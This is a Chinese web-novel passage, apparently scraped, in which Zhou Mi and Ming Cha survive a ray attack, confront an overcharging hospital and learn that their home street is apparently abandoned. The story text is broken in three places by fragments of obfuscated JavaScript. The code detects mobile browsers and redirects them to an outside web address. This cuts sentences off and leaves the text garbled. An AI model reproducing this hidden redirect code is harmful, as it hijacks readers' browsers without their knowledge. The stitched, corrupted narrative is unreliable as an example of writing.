周觅比他还懵,她立在原地,止不住的大口呼吸,肩膀因此一耸一耸地无法恢复平静,她劝告自己必须要平静下来,她得想办法,不能坐以待毙,这射线过来时她的心在发颤,周觅恐惧的震颤,它在挑逗她,它是想让周觅眼睁睁看着明刹死怎么死的。 它以这种形式的虐杀为乐,这种强悍的力量逼得周觅额上的冷汗只多不少,一颗颗不大圆圆滚滚的汗珠都像一面巨大的凹凸镜面,将周觅面前的明刹与这心理变态的射线缠斗,分毫不让的映在里面。 射线的速度太快,它划破了明刹在避让时没来得及收回的手,一种完全刺穿的状态,露出明刹手腕处的森森白骨,时间太短,容不得周觅多思考,她拿出那面炽音留给她最后的东西——那面镜子。 镜子在短暂接触到空气的下一秒,忽然由雾蒙蒙,被水蒸气充斥的样子,一瞬间擦亮,自己飘浮起来对着射线就是一阵照射,等不到第二秒,镜面发出“卡擦卡擦”的碎裂声,陡然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284394|166206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变大,足有两米高。 不多时前,周觅与明刹都见过的,那阵晃荡仿佛无法停歇的水面涟漪越来越大,从里面钻出无数的红色射线,朝金色瑟缩不安起来的射线冲刺,将它们包围在里面。 明刹终于得救,他脱力的倒在路边,周觅跑过去扶住他,他的手腕无力的垂挂在两人身体间,只要周觅再晚一步,这射线一定会沿着他的骨头横切他整条手臂,痛苦但他不想过度暴露脆弱的自己在周觅面前,只能脸色“刷”的一下苍白后,还强撑着露出个极难看的微笑,“我没事,但可能要麻烦你把我送去医院。” 他说这话时,嘴唇白的像抹了粉底液,恐怖的如一具干尸,周觅不敢耽搁,将红线紧紧绕珠的金色射线全都收回到镜子内,一脚踩爆安稳落在墙角的灯,又不太放心,她将灯收在自己空间不大的储物戒内,准备带给警察调查。 医院在稍远的地方,周觅这么扶着他走,能走到明天上午,估计明刹就得失血而亡了,再不想自己的爱车给周觅骑,明刹也没办法了,他有点委屈的从储物戒放出和粒子一样高调的机车,周觅长腿一跨,示意他坐后面,拉着自己的衣角安稳坐在后面。 “你竟然会骑机车?”明刹想这人怎么什么都会?他狐疑地看了眼已经准备起步的周觅,周觅用手背抹了下自己额头上的汗珠,甩了下手,不想蹭脏明刹的宝贝机车。 她不因为明刹这种惊奇感到有任何不舒服的地方,她勾唇,不以为意道,“我不会骑,反正所有车道理都一样,不是吗?” 说的也是,明刹的心只微微放了几秒,忽然睁大眼睛,惨白的脸部肌肉用力弹跳几下,他惊恐大叫,“你不会骑?你让我.......”下去啊! 明刹话都没说完,说着自己不会骑机车的周觅已经手腕一转,机车车轮在原地晃了下,立马飞一般的点火飞出去了,明刹被大力的后坐力甩的差点摔下去,他害怕地用自己还有知觉的另一条手臂紧紧环住周觅的腰,脸也紧紧靠在周觅并不算很宽阔的脊背上。 这坐在车上的体验感一点都不好,手疼,脸被风扇的更疼,他只觉得自己整个人都变得冷冰冰的生无可恋。 他一根手指头都抬不动了,还记得用气音谴责周觅,“你简直就是疯了,你不会骑,我们就打个车不行吗?” “谁说我不会骑车,我这不是会骑吗?”第一次骑机车,觉得自己骑的还不错,就是速度有点快的周觅,脸上表情生动了许多,她感受着风将一头秀发全都往后扬去的飘逸感。 明刹靠在她身后抬起头,想看一看到哪了,便被她这一头丝绸般柔顺的长发全遮住视线,他索性也不看了,还是把自己的头贴在周觅骨感分明的脊背上。 医院离418街道的确有些距离,按照周觅一直到底的速度,五分钟内,周觅已经把车停在几乎空无一人的地下停车场,扶稳车身,自己脚尖点地从车上跨下来,又去扶脸色呆滞的明刹。 明刹收了自己的机车,瞟到了周觅的轻松明快的脸色,明显刚才在418街道内的不爽,被一段刺激的机车狂飙路程扫清,他在心里叹了口气,后悔极了给周觅开机车,但看到她心情还不错的样子,明刹只能算了算了的劝了自己好一会。 停车场没几个人,北部空气萧瑟又冷清,狂风在偌大的停车场内好一阵子呼号,两人迎面顶着寒风外电梯间内走,原本被汗水打湿的衣物全都在晚上一段狂飙机车的路程中恢复干爽。 进了电梯间,灯光昏暗闪烁,被那盏灯支配的恐惧,两人想起来,冷不丁的全打了个寒颤。 电梯门要合上了,有人在外面狂按开门键,“抱歉抱歉。”还没见到人,一连串的道歉先入耳。 他捏着自己的公文包,皱皱巴巴的西装和踩了一脚泥的皮鞋,让他看上去很慌张,见到电梯内两个学生模样的孩子,他不好意思的一笑,“耽误你们时间了吧?” “没有,您这是急着过来看人?”明刹手痛的快没知觉了,靠在身后的墙上,他从来没见过这种慌里慌张的人,在他的世界里所有人都平和而有礼貌,他才是最大的异类,来了米拉尔星球,他发现这里的人各有各的不同,让他担心又好奇。 青年人也不大,不过二三十岁的样子,但一看就是公司内的社畜,他疲倦的眼睛大大鼓起来,耷拉着的眼袋都要挂到鼻翼去了,昏暗的灯光使他的面部结构拖拽着蒙上一层阴影。 “是的,我的女儿和妻子出了车祸,医院让我来交钱。” “真是不好意思,让您差点没赶上电梯。”明刹见他脸色不算好,赶紧道歉,青年男人并不因为这件事感到难过,他一摆手跟周觅搭话。 “你们从哪里过来的,这么晚了也没个家长陪着,虽然时间不是凌晨也还是要注意。”他仔细打量着两人,周觅接话道,“我们从418街道那边过来的,他手受伤了。” “418街道?”青年人露出个匪夷所思的表情,他似乎觉得今晚出来的真不是时候。 他在北部大厦加班到将近凌晨三点,忽然听说自己妻子和女儿出了车祸,好不容易打到车,下去就踩了一脚泥,拖着疲倦的身体过来,结果在这昏暗的电梯里面碰到了这一对说不上来什么感觉的中学生。 他瞥了眼明刹,又看了眼周觅,只觉得明刹脸色苍白却热情,周觅脸色正常但冷冰冰的,简直就是黑白双煞啊! 想到这,男人腿软的吓人,眼见着要站不稳,周觅轻轻叹口气,问他,“418街道怎么了?你这么害怕,” 男人汗如雨下,他磕磕绊绊,铁青着一张脸尖叫道,“418街道早就没人住了啊!” 这怎么可能不是鬼,鬼一般都不承认自己是鬼啊! 这声尖叫似乎用完了他的所有力气,说罢,他在面色也不是很好的明刹和周觅面前直接晕过去,倒在电梯里发出一声巨响,留下一脸懵的两人,还有电梯开了站在电梯外面,大惊失色的医护人员们。 “你们,你们在做什么?” 10.消失的街道(二) 眼见到这男人的晕倒,像是要碰瓷的,明刹立刻拉着周觅出电梯,一边摆手一边对看过来的一堆医护人员示意道,“跟我们没关系啊。” 几个小护士去找人抬担架,准备把晕倒的男人抬去检查身体,转过身来,她露出个甜美的笑容,“二位是要挂号吗?” “是的,我手腕被刺穿了,这个是要看骨科吗?”明刹见她胸前挂着的牌子写着护士长,对她抱有几分信任,护士长点点头,“是的呢,我可以在光脑上帮您挂号,您告诉我名字和年龄,现在就可以去骨科。” “明刹,十六岁。”明刹看她打开光脑开始输入他的名字,害怕她输错了,明刹把头勾过去,介绍自己的名字,“明天的明,罗刹的刹。” “好的,两位小朋友可以去17号诊室,就在右手边。”她脸上还是带着甜甜的笑,伸手请两人自行过去,眼见着两人进去了,护士长的脸色恢复冰冷,理了下自己的袖子,同诊室的医生发了条消息,“看好他们,我已经通知警察了。” 两人进门,诊室轻轻一声落锁,周觅听见了,她嘴角微僵,掐了掐手心这才忍住没回头,陪着明刹在冰屁股的凳子上坐下来,男医生也正好从电脑前抬头,他朝着两人温和一笑,“来给我看看你的手腕。” 明刹见到医生要比见到老师乖很多,医生拿着一个不大的扫描仪对着明刹的手腕进行长达三分钟的扫射,蓝光快速一闪一闪,却不刺眼。 他拿出从打印机打出来的片子给明刹,指着几块明显的骨头断裂,神色严肃道,“你这个伤不像是一般的刀伤,你还穿着防护服,是因为和被蓝粒影响的东西打斗导致的吗?” “当然不是。”周觅抬眸看了这对病人隐私还挺关心的医生一眼,早见他在打量明刹和自己的时候,配合那声落锁,周觅顿感不对劲,现在这种感觉更甚,她摇头,又重复一句,“当然不是。” “我不是那个意思,我只是觉得你们两个小孩子,半夜出来实在太危险了,我给包扎一下,还开了点药,你们去楼下药房拿了吃。” “我不是很想吃药,我打两针骨骼缝合剂不就行了?”明刹摸摸头,不大乐意吃药,他也不想包扎,这种东西包扎后不就是证明他很菜嘛,很菜的人才受伤呢。 听了他这话,医生意味深长的扶了下自己的眼睛,镜片后的眼神比刚才用来扫描的蓝光仪器闪动的更厉害,像是蝴蝶煽动翅膀飞行时的迅速,周觅坐在椅子上下意识往后靠了靠,她不想这个医生和自己的距离过近,虽然,明刹的手腕和他的手指肌肤还牢牢贴在一起。 “两针骨骼缝合剂不便宜,你确定吗?”医生拿出药剂的价格表放在两人面前,开了十五种药品加起来大概四个零,一针骨骼缝合剂就要加上一个或者两个零,这还是最低等的。 不过这都不是最重要的,周觅扯过医生压在手腕下的药单,抖了抖给压痕捋直,冷笑勾唇问他,“他是得了什么恶疾,你要给他开这么多药。” 明刹还没察觉,他眨眨眼,拿过周觅拍在桌子上的药单,一目十行地扫下去,他忍不住瞪大了眼睛,黑漆漆的眼眸中全是不可置信,“这吃完我还能活着吗?” 什么维生素就开了一堆,还有什么鱼油这些东西,还有钙片,好吧,这钙片估计是里面唯一有用的,不过维生素鱼油都是什么鬼啊,这多少年前的老药,估计全是药厂卖不出去的老货,竟然直接加在药单里想给他。 药单上面还写着大大的一行字,“一经售卖,概不退换。”这简直就是把两人的智商按在地上摩擦,明刹暴脾气上来了,“什么狗屁医院,这病我不用看了,挂号费我可以付,其他的你啥都别想让我买。” 说完他站起来就要走,医生坐在软塌塌的办公椅上纹丝不动,他手一摊,“随你们喽,不付这个钱,这个门你们应该是打不开。” 这就是强卖,明刹冷笑一声,周觅这才发现原来一进来就落锁是这个意思,她和明刹对视一眼都从对方眼里看到了焦躁不安的情绪。 明刹胡乱抓了抓头发,在心底暗骂一声,绕到医生桌子后面,一脚把脸色冷漠鄙夷,翘着二郎腿的医生从凳子上踹下去。 安然坐在凳子上的医生被这猝不及防的一脚踹的快吐血了,他摔倒在地上,趴在瓷白的砖块上发着抖,眼镜摔在地上,镜片碎了一地。 “你们可这是医闹!等着蹲大牢吧。”他费劲地支起自己的上半身,抹了抹自己被镜片划破的额头显得气急败坏,恨不得跳起来打死这两个无法无天的孩子。 他压制不住的用力咳嗽几下,明刹一脚正好踹中他的肚子,痛的医生就差一口血呕出来。 在明刹和周觅都没反应过来的时候,大力拍下桌边的红色按钮,门下一秒被人从外面推开。 护士长踩着自己的小细高跟进来,再也没有甜甜的笑容,她尖叫大喊,像一只被拎起来即将被杀的鸡,“安保,安保,快!有人医闹!”。 她靠在门框上,好不容易用手肘贴在门框上撑着自己摇摇欲坠的身体,手指尖颤着指向门内慌乱不堪的景象。 明刹冷冰冰地扫了周围人一声,丹凤眼吊起来,在一脚踹倒医生后他竟然罕见的恢复平静,他又不是没脑子的中二少年。 “你们这两个孩子,先是在电梯内恶意伤人,现在又打伤我们的医生,你们简直是欺人太甚!”护士捂着自己的心口神色嚣张又柔弱,简直像是人格分裂了,她仿佛下一秒就要晕倒在这惨白的砖块上。 饶是见惯了人类表面一套背后一套的周觅,也忍不住匪夷所思地扫了眼护士长,明刹的表情已经不能用难看二字来形容,但他还是能沉住气,周觅倒是没想到。 她转过头想说点什么,呼吸陡然一止,明刹掏枪直指晃晃悠悠站起身的医生,他眉心一耸打量面前的男人,问道,“你叫什么名字?” 医生瞳孔紧缩,他颤着舌尖一时无法接话,唇上的血丝全褪下去,苍白的像泡在水里肿到没有血色的手指皮肤。忍不住举起手作出投降的姿势,本来一双温和湿润的眼睛直视着黑漆漆的枪口,快瞪成一双斗鸡眼。 “我叫周锦,您大人不记小人过,把这枪收起来吧,好吗?”周医生紧张的只感觉头脑内“嗡嗡”作响,似乎有无数的电流狠狠打在他紧绷的神经上。没人会在枪口指着自己的时候,还有所谓的自尊心。 明刹不接他的话,耳垂处的三个耳钉在医院屋顶明晃晃的灯光上,骤然闪了闪,周医生脸色一下变得惶惑起来,他结结巴巴的,“你是......你是......德拉斯血统?” 周医生正在设法为自己脱身,就见明刹眼神瞟了下周觅,轻飘飘开口,“她也是德拉斯血统,人证物证都有,但这都不是最重要的。”明刹顿了下,周锦的呼吸下意识屏住,他被现场的冲击,对方与自己身份的天差地别搅得不安起来,更别提脸色已经白的像一张纸,嗫嚅着唇不知道该说什么的护士长。 “最重要的是,我姓明,主星联邦的明家,你不可能没听过,联邦的三大元帅中有一位不就是姓明吗?”明刹知道自己不应该用身份来压人,但在这种低级渣泽面前,让他们知道什么叫不可逾越的鸿沟才是最正确的。 明刹移开自己的枪,在周医生大松一口气时,却用枪身敲了敲周锦的脸颊,带着上位者的奚落与打量,他轻声道,“我们家在联邦掌握几乎全部的药品话语权,当然也有一些医院的股份,你身处的这家医院就是我们家百分百占股的,和这种强卖事情有关的,你们死定了。” 一阵枪响在周锦耳边炸开,惊动了楼下的安保与同一时间出现的警察,几方人马加快脚步赶到楼上。 至于骨科科室内的几人,直到明刹收了枪,周锦才意识到左耳的刺痛,殷红却潺潺流出的鲜血是明家少爷给这么个道德败坏医生的惩罚,而周锦耳朵出了什么问题不是在场的明刹和周觅该关心的。 周锦和护士长的落荒而逃和那扇又重新被关上的门,明刹再也握不住枪,立马脱手,周觅微微一弯腰,从下方稳稳接住,暂时收到自己的储物戒里面去。 “怎么样?”周觅关切地看了眼他的手,被穿孔后的手现在有了知觉,正细细发着抖,他脱力的坐在一旁的沙发上,整个人几乎无法依靠自己的力量坐起来。 周觅想起来自己上次给都晏,那位在B-3214星球战争阶段的士兵所寄的药品,应该还有几管麻药,她从储物戒中找出来,进行药品的配比,消完毒,明刹还没反应过来,针孔已经扎入了他的手腕内侧。 “不是,不是,你别瞎来啊,你不是控制机甲的吗?你才高一,已经学过护理学吗?”明刹手腕是没知觉了,不代表他脑子也坏了啊,他费劲的想借助手臂的力量抽回自己的手,却被周觅稳稳按在她从背后抽过来的沙发靠枕上。 软软绵绵的沙发靠枕也让明刹的心陷在了一堆软塌塌的棉花里,害怕又紧张还有一丝期待,不复刚才恐吓周锦的上位者模样,变成了个受伤需要主人摸摸的小狗似的,闪亮亮的黑眸不受自己控制的眨了眨,盯着为自己上药的周觅瞧。 最后一圈绷带上完,小心翼翼的周觅这才擦了下额头上的薄汗,“我学过,我初中的时候就学过,之前写想做医生,但是就业面不广,做军医只能作为后备力量,我更想到战场的一线去。” “我也想去,我实话跟你说了,我哥哥就是联邦的元帅之一,你去主星上大学的话,我们在一个学校,那肯定叫一个叱咤风云。” 这种温馨时刻就容易情绪上脑,明刹忘记了自己的身份特殊性,他朝坐在自己身侧,脸却正对自己的周觅凑近了些,他可以清楚的看到她挺翘的鼻尖微微浮出一点薄汗,清新的简直和荷叶那抹新绿上的露珠毫无区别。 他脸上的笑容带着一种近乎痴迷的程度,周觅眼眸向下扫了眼,往后略退些距离,至少是让自己离他远点,这不是个正确的社交距离。 周觅抬眸直视他同样黑漆漆的瞳孔,没什么表情,看了他许久,才答,“看情况。” 明刹没得到她肯定的答案有点失望,不过也不强人所难,点点头努了努嘴,反正不是那么开心。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15308114|166206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >话题结束的契机是门把手被人转动的科室门口,警察进来了,他们先行了个礼,胸口的名牌清楚写着他们的名字与年纪还有职位。 周觅和明刹来医院的路上报警向这群警察说了418街道的情况,他们进来,开门见山的问,“你们怎么会去418街道?” “我们家都在那,不得回去吗?”明刹反问这几个匆匆赶来的警察,他除了警察进来时站起来说了几句话,又坐回沙发上,说这话时还往后靠了靠。 看清他耳垂上的三个耳钉,几个警察清楚他身上不用刻意都能表现出来的舒展是从哪里来的,说话也礼貌了许多,他们温和解释,“你们开玩笑的吧?人类基本都住在地下城,就算不住在地下城,也得住在400号往前的街道,400往后的街道晚上粒子那么强,人也稀少,除了一些孤儿流浪汉黑户这类的,没人会去,当然一些有身份证的外来物种与非人物种倒是扎堆的住在那边。” 这话一出,明刹和周觅对视一眼,他星期六早上还在跟踪周觅,最后在人群聚集的集市一起吃早饭的两人,这么一说,似乎成了418街道唯一的活人。 比起外来人口的明刹,要更难以接受的是在这里生活整整16年的周觅,她不理解道,“那为什么我的信件能从418街道送出去?” “我们也不知道,按理说418街道早已经在边防线外面,不给人随便出边防线,你们不可能住在那里。”警察摆摆手,不承认两人的居住地。 可话锋一转,警察即使不想吓她,也还是低声道,“你的信件可能是被别人拿走了重新寄出去,你所看到的都不是真的,我在主星上大学,虽然不是科尔维斯军校,但我在军校中,曾经见过拥有虚构异能的同学,或许你身边就有这样的人,但你无法察觉。” 这番话没有得到十几岁少年少女的注意,谁的手会伸那么长,又那么强,强到所有精神力高于S级的生物一个都没发现其中的诡异之处。 周觅拿出自己的身份证给他们看,警察表示惋惜,“418街道只是出生时的户籍地,不能代表是你的居住地。” 一瞬间,似乎所有人心里都布满了疑云,周觅看了眼自己的光脑,时间的指针已经来到凌晨四点。 五点半左右,学校的运输班车就要过来接人,周觅压下心里的不舒服,开口建议道,“你们跟我一起去一趟我住的地方吧,我上学的日子都从家门口等车。” 警察们也担心两个中学生的安危,欣然同意。 医院内有警察带来的其他人在检查各个药单,要不了多久这里就会被彻底查封,再由新的管理层接手,这家医院接受的病人一般都是低薪的人类和外来物种还有非人物种,赚不了多少钱,但这么多医护人员,他们便动了不该动的心。 “遇见你们,算他们倒霉。”站在电梯里,门还没关上,从电梯大开的门往外看,几个警察好笑的看着将医院秘密接开的两人,明刹讽笑一声,“倒霉?他们还倒霉,吃了那么多不该吃的东西,当然要连本带利的吐出来。” 周觅环顾一圈所有警察脸上的表情,欲言又止,她无力多说,只朝电梯门外望去,电梯门合上之际,忽然外面疯狂有人按开门键,几人视线一撞,青年人嘴上说着“抱歉”,脚步却一刻不停地进来,他恍恍惚惚似乎站不住。 “你妻子和女儿怎么样?这医院没多吞你钱吧?”明刹这个热心少年,忍不住出声问他,周觅却拽着他往后退了退,S级别的精神力告诉她,这男人很不正常,像是被蓝粒感染的爆发前兆。 青年人没动,半晌才抬起自己灰了许多的眸子,那双本来耷拉的眼睛皮上,多了几条冷青色的经脉,他要哭又要笑地扯动自己干巴巴的唇,“我没找到她们,医院说她们不在这里。” 几个警察已经把手放在腰侧的警服内,随时要给这个不正常的男人喂一粒枪子。 “我交了好多钱,房子也卖掉了,但还是没能把她们带回来。” 男人絮絮叨叨的说起往事,这一次往下行驶的电梯要比上去时快很多,几人分别在地下停车场,男人迈着虚浮的脚步走进黑暗幽深的北部凌晨。 坐在警车内,周觅收回投向青年人的担忧目光,明刹一整晚没睡,此刻随着车辆的快行驶,波浪一般的左右来回摇晃。 “不好意思不好意思。”他一下撞在周觅的脸侧,眼见周觅蹙眉,他迷迷瞪瞪地道歉,周觅没来得及看他一眼,他又闭上眼睛,朝车窗那歪去。 周觅没眼看了,她靠着座椅闭了闭眼睛,忽然脑海中想起那位在主星上大学警官说的话,一遍遍在她忽然就混沌起来的脑海中一遍遍掠过,似乎想抓住点线索,又溜失于指缝。 她骤然掀起眼帘,一双黑漆漆的眼睛似乎在进“418街道”的瞬间,蒙上了一层浅薄的白雾,白雾使她变得鬼气逼人。 从后视镜内看了她一眼,眼神危险的警察敲了敲方向盘指示道,“前面就是,因为你们报警,已经有一队在里面检查尸体,我的这支小队不进去,我们需要观察你们然后上报。” 11.消失的街道(三) 别说是警官觉得周觅反常,打瞌睡才醒的明刹瞥了周觅一眼,再也无法安然睡去。 他眸光所见的周觅和在医院内的温和明亮不同,在街道蓝粒慢慢散去后,昏暗灯光下的她,脸颊蒙上了层惨白的光,原本温柔如水的双眸又暗又黑,没有一点生机,死气沉沉地散发鬼息。 明刹惊觉自己后背雨一般下了一身冷汗,他和周觅同时推开车门,两人起身眼神碰撞在一起,她的眸光像极她贴小腿绑住的长刀,凌厉地四射,划的明刹喉咙一哽,吞咽都成了难事。 “你还记得我是谁吗?”他颤颤巍巍地开口,两人身体间只隔了一辆车,他觉得不是那么安全,想扯扯嘴角来个友善的微笑,可害怕的脸部肌肉直抽搐,他往后退了半步,身后却是几个牢牢挡住的大块头警察。 仿佛误入了什么□□千金爱上我的现场,明刹被这危险又刺激的现场搅得七荤八素的,周觅将他的动作尽收眼底,叹了口气,实力不强,挺会想象。 “你别上军校了,去学文学创作吧,这么会想象。” 周觅的眼神扫向他,注视着他的眼神缓慢移动,从他的瞳孔扫到他微启的红唇,他有唇珠,笑起来时唇珠像点缀冰激凌上的粉色爆爆珠,完美绽放出清甜的色彩。 她在猜测那双机械臂的主人和面前拥有一双多情丹凤眼的主人有什么特殊的关系,他们可能都姓明,又或许是上下属。 周觅在418街道内的脑子骤然如此清晰。猜忌,厌恶的情绪占据上风,她并不想别人认为她和明刹是一类人。转身抬脚就走,身上宽大的衣摆随着冷风飘荡,明刹立马跟上,他怎么会理解女孩子多变的情绪。 联邦特地请了郑/明/慧这尊大佛前来控制她,还有明刹这种三大元帅位置的预定者,明刹想起来哥哥同自己说的话,“联邦的计划中,一共十个人,周觅是最重要的,你和郑/明/慧要做的就是别死在她手里,那么任务就能成功。” 至于这个任务的期限,哥哥没有交代,明刹不知道哥哥对郑/明/慧是不是也这么说的,但相处的几天下来,他早就把哥哥说的话抛之脑后了,他很喜欢周觅,喜欢周觅身上自由的气息。 她流泻在月光下丝绸般的长发,扫过他的鼻尖,像被蒲公英的种子轻触的感觉,心脏敲锣打滚乱响好一阵。他不知道这什么感觉,但这种感觉很好,他忍不住想要凑近她。 “你走这么快,干什么,等会请你吃早饭啊?”明刹把头往前勾着看她,周觅在418街道的月光下冷白到瓷一样的皮肤,带着独特脆弱的皮肤肌理,碎掉的玻璃片一般,怪惹人心疼。明刹直愣愣瞧她,被她瞪了一眼这才回神,讪笑着眨眨眼,不敢再注视周觅的脸。 周觅觉得他越来越傻气横秋的,没好气地瞪他一眼,往家的方向走,碎掉的灯盏落了一地,此时在一堆警察拉好的警戒线后,周觅和明刹两人经过旁边时统一盯着楼道内搬出来的尸体看了许久。 知道她是这里的住户,警察也还是得登记名字,周觅接过纸张在自己家那一栏写上自己的名字,她顺手一翻,心猛往下落,除了她根本没人住在这里,明刹买下了二楼名字没来得及录进去,还是张方的名字。 “只有我写了名字吗?”周觅状似无意地问,拿着名单的警察上下扫了周觅一眼,指着名单上一堆根本没有笔迹的地方,好笑道,“这不都是?你们五楼的老太太们起得真早,都搬着椅子全出来了,这门上的密码锁还是她们帮忙开的。” 比起周觅配合地点头,脸色如常的就要推开单元楼的门往上走,明刹一双漆黑的瞳孔忍不住紧缩,他踏入单元门内,浓烈的鲜血扑面而来,这里是事发当场,两人赶着要去医院,没来得及进单元内探查一番,恐怕当时进来了,比现场血液冲刷楼梯的惨状还要吓人。 黏黏糊糊的鲜血像是陈念老垢粘在头发上,东一块西一块,蜘蛛丝似的理不清。扑面而来的鲜血几乎给踏进单元楼的两人当头一巴掌,扇的两人晕头转向,路都快不会走了。 明刹扶着掉了一堆锈皮的栏杆,差点就要吐了,他呕了几下,忍着没吐,周觅憋气往上走,尽量捡一些没被鲜血过度浸染的地方往楼上走。 她往上走了几步,鲜血沾染在她的运动鞋边印出一朵朵梅花,周觅回头看了眼还在楼底,不知道要不要上楼的明刹,用自己家大门钥匙敲了敲楼梯栏杆,发出“叮叮”地震动,她问明刹,“你到底上不上来?” “我的妈这个味道难闻死了,我不上去了,不上去,你快下来啊,我等着跟你一起去学校呢,我不认路。”明刹伏在栏杆上,他捂着脸快要呕出来,周觅蹙眉撇他一眼,下巴往上抬了抬,小心避开血迹多的地方往上走。 明刹收了表情,他长腿一跨,出了单元楼,开警车送两人过来的徐警官早就带着一对人等他,他对明刹敬个礼,恭敬道,“不知道您到了米拉尔星球,不然我该过来拜访您。” 徐警官早些年在特拉克星球上学,认识明家不奇怪,明刹和徐磊也不过只有一面之缘,可身份天差地别。 明刹点点头回了个礼,这才出声问他,“418街道,你是不是知道点什么?” 在医院里已经说到那种份上了,只是他们都叫不醒周觅,这或许是专门为她建立的一场幻想之城,而她愿意醒来吗? “10年前,您的小叔明怀准少爷奉命调查非人种族与人类通婚事情,他当时给您父亲寄了封信,随后信件被拦截,他也因心脏病突发身亡,我在利纽特学院学的侦查系一直是院系第一名,因此被您父亲邀请调查此事。”徐磊说到这停了下,明刹神色在发冷。 没人让徐磊停,自然没有停下的道理,他梗着脖子继续说,“我认为此事与蒋......” “闭嘴!”明刹怒喝一声,声音并不小,惊得歇脚在房屋后面低矮松树上的鸟雀一股脑地全飞了,四下交谈凶杀案案件的警察们一时间停下细碎的声音看过来。 徐磊僵着身体,不敢再看这位少爷的眼睛,他抿了抿唇,舔舐了下自己干燥的唇瓣,就听明刹斥责道,“你凭什么猜测联邦的将军,你知不知道这是死罪?” 联邦内部无比团结,绝不愿意出现猜忌的可能,不怪明刹如此生气。 徐磊还想说什么,他忽然看到了什么,眼神一下收紧,想恢复正常脸色又紧张地面部抽搐,明刹在心里做了一万个假设,果然是最坏的那个——周觅在二楼阳台不知道看了他们多久。 明刹脸色从崖顶落入崖底,他的表情不见得比徐磊更好看。周觅就站在那盏灯原先的位置内侧一点,晃荡不安的阳台栏杆微挡住她的身体不至于掉下来,就算这样,她的身体也几乎挂在外面,同那盏漂泊在风中的灯盏一样。 长发从她的肩头往下流泻,月光莹莹洒落在上面,是一汪流畅又清澈的泉。她整张脸往下垂,眼尾却往上翘,翘起似笑非笑的弧度,一种居高临下的俯瞰,明刹愣了愣,他很快抬手打招呼,毫无秘密被人窥见的心虚。 “这么快就下来了?”他裂开嘴笑,虎牙尖尖地戳了下自己的下唇,在牙齿的阴影里冒出两滴鲜血,顺着唇角滚落回他的唇舌间,细微的刺痛让他神经紧绷,他和徐磊一样紧盯周觅,不安稳的情绪在两人身边流窜。 “不是。”周觅摇头,双手交叠在一起,放在晃荡不安的栏杆上,她解释道,“我根本没上去。” 周觅眼神在两人脸上一一掠过,她若有所思的离开阳台,倒退着往楼梯间内走,视线却还黏在明刹脸上,比起紧张不安都写在脸上的徐磊,明刹倒是光明磊落的很。 明刹看了眼时间,他朝她晃了晃手腕,“快到五点了。” “好,等我五分钟,我立马下来。”周觅收回自己的视线,她伸手抖了下自己的头发,手指胡乱抓几下,将其随手扎了个低马尾紧贴在自己的后颈,这让她会有莫名的安全感。 走到五楼,基本每家每户的门全是开着的,与往日一样早上睡不早,晚上早早就睡的老太太们,都端着个凳子坐在家门口的铁门后,周觅宁可相信是自己心理作祟,也不愿意承认,每个老太太的脸色都呈现青灰色。 她只用余光略瞟一眼而已,并不多想,只要她们没对自己出手,周觅只会熟视无睹,至少这么多年一直都这么平稳度过。 钥匙插进锁芯,她往左转了几下,推开门人却不进去,只勾手拿走自己放在门口鞋柜上的书包,背上书包,她关上门转动锁芯,拔了钥匙,抬脚在“咯吱”作响的过道地板上行走。 灰尘积蓄已久,没有血液的地方全是沾上血迹的脚印,破坏了这里的灰尘构造,变得泥泞不堪。 周觅往楼下走的速度很快,徐磊才走,她已经推开单元楼的门出来了,微风将她额前一点碎发吹起来,似乎有茉莉的香气,明刹盯着她失神几秒,扯了扯嘴角想说什么,可先抵达的痛觉让他回神,再也不敢掉以轻心。 警察们还待在一具具尸体旁边细碎的交谈,血迹将整幢房屋搅得混乱不堪,什么气息都降下去,只能闻到血腥,明刹想起刚才一幕,倒是不觉得自己秘密被窥见了,他自觉自己没什么秘密,都是可以被周觅看见的,不然怎么做默契的队友。 他和周觅坐在一旁的躺椅上,任凭米拉尔星球北部的冷风流经他的身体,开口问周觅,“你现在的精神力是多少了?SSS吧?” “S,没你想的那么厉害。”周觅抱着书包,拉开拉链,递了个自己买的小面包给明刹,明刹一挑眉,“怎么不放在你储物戒内?” “我会忘记,作业也是。” 周觅的世界里,只要放在储物戒内,除了非必要时刻都是可以被忘记的,为了防止自己不做作业和不吃早饭,周觅是班级内为数不多带着书包的学生。 明刹道了句谢,接过她给的小面包,几口就塞了,有想要周觅夸奖的嫌疑,周觅默默移开目光,看远方天色已经变亮的天空,她闭了闭自己有些酸痛的眼睛,一整晚没睡,在学校的班车上也只能小睡一会。 周觅已经不记得自己为什么会进军校,好像从小因为对精神力的掌控力就比同龄的孩子要强,任何风吹草地她都能瞬间锁定,别人需要去刻意练习这种敏感度,她则需要强迫自己弱化这种外界对她神经方面的影响。 这种能力让她几乎顺风顺水在军校内一路往上走,如果不出意外她大学一定会去主星上大学,而不是选择米拉尔地下城较为出名的军校。不知道有多少人艳羡她,因为一直评定不算出色的精神力等级,她不出名。 现如今,明刹和郑□□的到来,以一种死死缠住她的方式,强势入侵她的生活,证明她已经被各大学院注意到了,到底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 